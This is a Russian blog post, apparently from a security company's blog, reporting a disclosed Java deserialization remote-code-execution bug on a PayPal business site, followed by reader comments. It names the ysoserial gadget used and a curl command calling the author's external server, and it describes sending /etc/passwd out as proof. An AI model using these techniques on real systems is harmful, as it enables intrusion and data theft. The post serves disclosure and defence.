Взломать PayPal за 73 секунды

    image

    В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети. При отправке веб-формы на сайте manager.paypal.com в одном из скрытых параметров передавались закодированные данные в виде сериализованного объекта Java. Данный параметр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. Я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена.

    Детали уязвимости


    При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр “oldFormData”, который выглядел как сложный Java-объект, закодированный в base64:

    image

    В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», по которой я понял, что это сериализованный Java-объект класса “java.util.HashMap” без какой-либо цифровой подписи. Это означало, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод “readObject” (или “readResolve”) нового класса.

    Для эксплуатации мне необходимо было найти в исходниках приложения (или в библиотеках, которые оно использует) класс, который имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять.

    К счастью, Chris Frohoff (@frohoff) и Gabriel Lawrence (@gebl) в начале 2015 года проделали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.

    Эксплойт


    Я немедленно скачал эту утилиту с их проекта на github и сгенерировал объект класса «sun.reflect.annotation.AnnotationInvocationHandler», десериализация которого приводит к выполнению команды «curl x.s.artsploit.com/paypal», если на сервере доступна библиотека Commons Collections.

    image

    Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выявления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера.

    После этого я отправил полученный закодированный объект на сервер в параметре “oldFormData” и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:

    image

    Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com.

    Я мог бы загрузить бекдор, получить доступ к базам данных, которые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:

    image

    Я также записал видео, как воспроизвести эту уязвимость, и отправил всю информацию в PayPal.

    Ответ от PayPal


    После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил тестирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, другой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета.

    В любом случае PayPal выплатили мне хорошее денежное вознаграждение, за что им большое спасибо.

    Видео:


    Positive Technologies

    233,00

    Компания

    Поделиться публикацией
    Комментарии 30
      +10
      Какая сумма вознаграждения тебе досталась? Интересно просто, жадный ли PayPal.
        +8
        написано же «хорошее»
        так что не жадный
        +9
        Скажите, а это везение, или вы просто сидите и тратите по много часов просматривая запросы и отеты сервера в надежде увидеть что-то подобное?
          +7
          Как правило, это везение, помноженное на определённые навыки и увлечённость своим делом.
          +1
          А что, такая тайна эта цифра или вас ограбят тут же? Прямой вопрос подразумевает прямой ответ.
            +3
            Возможно, есть ограничение программы выплаты вознаграждения на разглашение суммы.
            +1
            на сервере будет вызван метод “readObject” (или “readResolve”) нового класса
            А может кто-нибудь пояснить, почему это происходит? Почему при десериализации Java вызывает эти методы?
              +1
              А как по вашему десериализация должна происходить? Объект-то в байтовом представлении.
                +2
                Мало с этим работал, каюсь. Но все равно не очень понятно, почему так.

                Я все время себе представлял сериализацию/десереализацию как простое преобразование в формат, удобный для хранения. Я допускаю, что в Java реализован механизм, при котором каждый класс может определить свой метод сериализации/десериализации, который будет наиболее удобен для хранения данных экземпляра этого класса. Понятно, что этот метод будет вызываться при десериализации.

                Но не понимаю, как получается на базе этого провести атаку. Сервер не проверяет подпись => мы можем загрузить экземпляр класса любого типа => мы загружаем экземпляр класса заданного типа, который позволяет выполнить произвольную команду при вызове метода readObject — так, что ли?

                Еще более непонятно, в чем отличие варианта, когда сервер проверяет подпись. Если файл динамически генерируется и подписывается клиентом, то что помешает злоумышленнику точно так же подписать свой класс с вредоносной нагрузкой и отправить его на сервер?

                Что-то я не врубаюсь.)
                  +2
                  Вы правильно рассуждаете

                  В коде приложения десериализация выглядит примерно так:

                              ObjectInputStream oin = new ObjectInputStream(Base64.decodeBase64(request.getParameter("xxx")));
                              MyСlass obj = oin.readObject();
                  

                  При этом имя класса у которого будет вызван readObject хранится в байтах самого сериализованного объекта, который мы можем подделать, а преобразование к нужному экземпляру класса(MyClass) происходит уже после вызова readObject.

                  В классе sun.reflect.annotation.AnnotationInvocationHandler, который я использовал, как раз в методе readObject содержится нужная мне последовательность действий, приводящая к выполнению произвольного кода.

                  >Еще более непонятно, в чем отличие варианта, когда сервер проверяет подпись. Если файл динамически генерируется и подписывается >клиентом, то что помешает злоумышленнику точно так же подписать свой класс с вредоносной нагрузкой и отправить его на сервер?

                  Объект проходит сериализацию/десериализацию только на сервере, поэтому подпись тоже должна выполняться только на сервере. Либо можно хранить сериализованные объекты в сессии, а не принимать их от клиента через Post/Get параметры.
                    +1
                    Спасибо за ответ. А можно еще три вопроса?)

                    1. Понятно, что нагрузка выполняется во время вызова метода readObject(). А что случится при попытке приведения внедренного злоумышленником объекта к классу MyClass?
                    MyСlass obj = oin.readObject();
                    
                    Получается, здесь может вылететь Exception, если десериализованный объект не удастся привести к типу MyСlass?

                    2. Все равно не могу осознать часть про подпись.
                    Объект проходит сериализацию/десериализацию только на сервере
                    Мне все время казалось, что в данном случае главный смысл сериализации — это преобразование объектов в форму, удобную для передачи по сети клиенту. То есть клиент проводит какие-то расчеты/операции, записывает результаты в экземпляр класса и отправляет сгенерированный/модифицированный объект на сервер.
                    Если подписать объект на сервере, а потом переслать клиенту, то мы гарантируем подлинность объекта, но лишаем при этом клиента возможности как-то модифицировать объект (меняется объект => меняется подпись). А в чем смысл передавать на клиент неизменяемые объекты?

                    3. Также непонятно, почему хранение объектов в сессии обезопасит схему. Клиент же должен иметь возможность модифицировать объект для отправки данных на сервер!

                    Единственный вариант, который позволяет мне объяснить происходящее, такой: в серверном приложении PayPal есть класс, который используется этим приложением (и только им). Для каждой пользовательской сессии генерируется свой экземпляр такого класса, но клиент не изменяет этот объект напрямую — всю обработку ведет серверное приложение. И несмотря на то, что клиенту абсолютно не нужен доступ к этому экземпляру класса, разработчики PayPal решили хранить этот объект в качестве одного из параметров запроса.
                    Такой вариант вроде бы объясняет происходящее, но…
                      +2
                      Получается, здесь может вылететь Exception, если десериализованный объект не удастся привести к типу MyСlass?
                      1) Это у же не важно (даже, скорее всего, так и происходило), ведь readResolve и readObject класса самого десериализованного объекта к тому моменту уже выполнятся.
                      2) Мелкое замечание: сомневаюсь, что код
                      MyСlass obj = oin.readObject();
                      а не
                      MyСlass obj = (MyСlass) oin.readObject();
                      вообще скомпилируется, по крайней мере под Java 1.6, но всё, в общем, и так ясно.
                    +1
                    Всё правильно насчёт сериализации.
                    А насчёт подписи: откуда вы сертификат для подписи возьмёте?
                      +1
                      В ответе выше написал, что меня так удивило в варианте с подписью:
                      • если подписывать на сервере, то клиент не сможет объект менять. На хрена бы клиенту неизменяемый объект?)
                      • если подписывать на клиенте, то клиент сможет объект менять, как хочет. На хрена бы нужна такая подпись?)
                        0
                        > если подписывать на сервере, то клиент не сможет объект менять. На хрена бы клиенту неизменяемый объект?)

                        В PayPal и не подразумевалось что клиент будет менять этот объект. Там на клиенте только html/js и с помощью них менять сериализованный объект Java было бы странно. Объект использовался только для сохранения состояния клиента, что по моему скромному мнению может быть и должно быть сохранено в сессии.

                        > если подписывать на клиенте, то клиент сможет объект менять, как хочет. На хрена бы нужна такая подпись?)

                        В этом случае подпись действительно не нужна, если очень хочется использовать сериализацию в общении java -> java, то можно ограничить список классов, которые могут быть сериализованы написанием своего ObjectInputStream. Некоторые просто советуют удалить класс из Commons Collections который приводит к RCE, но мне не кажется что это лучшее решение.

                          0
                          Теперь понятней, спасибо.)
                            +2
                            Объект использовался только для сохранения состояния клиента, что по моему скромному мнению может быть и должно быть сохранено в сессии
                            Проектировщики могли хотеть сделать сессию по максимуму stateless для облегчения масштабируемости и нагрузочной балансируемости. В сессии могут хранить только полномочия, а всё, связанное с текущими совершаемыми операциями — передавать через клиентскую сторону.

                            В 2001-2003 я сидел на одном форуме, движок которого работал даже на броузерах без поддержки cookies — там идентификатор сессии передавался в виде get-параметра (при том, что текст сообщения передавался, как и надо, через post).
                            +1
                            Все правильно… Шифровать или подписывать реквест, там где ожидается untrusted data (к примеру в том же браузерном приложении) не имеет большого смысла… От слова совсем. Это — моветон и даже в случае использования закрытого кода, это, как минимум, security through obscurity.

                            В «нормальном» приложении должно быть просто тупо программно запрещено десериализовывать unsafe объекты. Точка. Без вариантов, независимо от того на чем бегает servlet runner, хоть java, хоть ruby, хоть любимое подставить что там тикает внутри.

                            Как правило, десериализуется напрямую только что-нибудь вида SomeSafeObject, с переписанным Serializable, readObject и иже с ними, где все неожиданные для этого класса объекты в потоке бросают java.io.IOException("Cannot be deserialized");.
                            Еще лучше если десериализуется что-то «примитивное» вида SomeSafeConfigObject и только затем уже собирается SomeObject.
                            ssco = SomeSafeConfigClass.readObject();
                            new SomeClass(ssco);
                            

                            Ну или если совсем уж лень, хотя бы что-нибудь с white-list по классам, тупо запрещающее все другие классы, кроме тех что в белом списке. Для java в качестве примера нашел на скорую руку SerialKiller: Look-Ahead Java Deserialization Library (только не пользуйте black-list ну или если никуда, то с умом, и лучше все же с white-list).

                            Тот же кто делает тупо такое (см ниже) с untrusted data, стреляет себе же в ногу:
                            ObjectInputStream ois = new ObjectInputStream(is);
                            MyObject o = (MyObject)ois.readObject()
                            

                            Потому что, оно тупо сперва выполнит все что «хакер прописал», а только потом скастит это в MyObject (или упадет с чем-нибудь вида ClassCastException).

                            Причем использование песочниц, safe interpreter, и т.п. не делают процесс десериализации не легче, не безопаснее (не ожидаемый видоизмененный поток — грязная zip-бомба, переполнение буфера, стэка, и т.п. прелести). Не нужно недооценивать «криминальный» потенциал и креатив…

                            Как-то раз, было дело, поломал один сервер (даже кластер), тупо получив доступ только к одному разделу SQL, но в котором сериализовались объекты сессии — как результат через малое время «сдался» уже весь сервер. Я к тому, что если допустим какой-то SQL не за шлюзами, но сериализованые там объекты, по сути тот же untrusted data (я утрирую).

                            По сабжу же — от paypal честно не ожидал (рука-лицо) — настолько это непрофессионально. Artsploit зачет и уважуха…
                      +2
                        +1
                        Почитаю, спасибо.
                        +1
                        Если их нет, то не вызывает. У большинства классов их и нет. Они нужны только для особой кастомной функциональности, например, сериализации синглетонов и прочих интернируемых объектов.
                      • НЛО прилетело и опубликовало эту надпись здесь
                        • НЛО прилетело и опубликовало эту надпись здесь
                            0
                            Домашний вроде не от слова бизнес? И не от слова платежная система? Ну два года назад точно было не одно и то же :)
                            • НЛО прилетело и опубликовало эту надпись здесь
                                0
                                И фаервол для зашиты и домашний роутер нужен не для того, что бы шарить домашнюю сетку всем желающим. Но мысль была немного в другом.Ее надо озвучить вслух?
                                • НЛО прилетело и опубликовало эту надпись здесь
                                    0
                                    Вполне нормально, что защите домашнего роутера, уделяется гораздо меньше внимания, чем системе которая оперирует деньгами миллионов пользователей. Которая в принципе должна вызывать доверие компетентностью своих специалистов иначе нет смысла там держать деньги.
                                    • НЛО прилетело и опубликовало эту надпись здесь
                                        0
                                        Когда что то сделано плохо — это в любом случае не ОК. Но когда речь идет о критичных областях и миллионах долларов подход должен, просто обязан быть иным. Иначе компания рискует умереть. Сравнивать уязвимость в домашнем роутере, над прошивкой которого работали в только во время выпуска устройства и который доступен только в подъезде рядом с квартирой и в взлом которого скорее всего ничего не даст с уязвимостью в платежной системе, над которой ежедневно трудится штат профессиональных программистов и удачный взлом в которой может исчисляться миллионами долларов по моему просто некорректно нет?
                                        Зы Запятых не хватает, я вижу, но уже поздно )

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                        Самое читаемое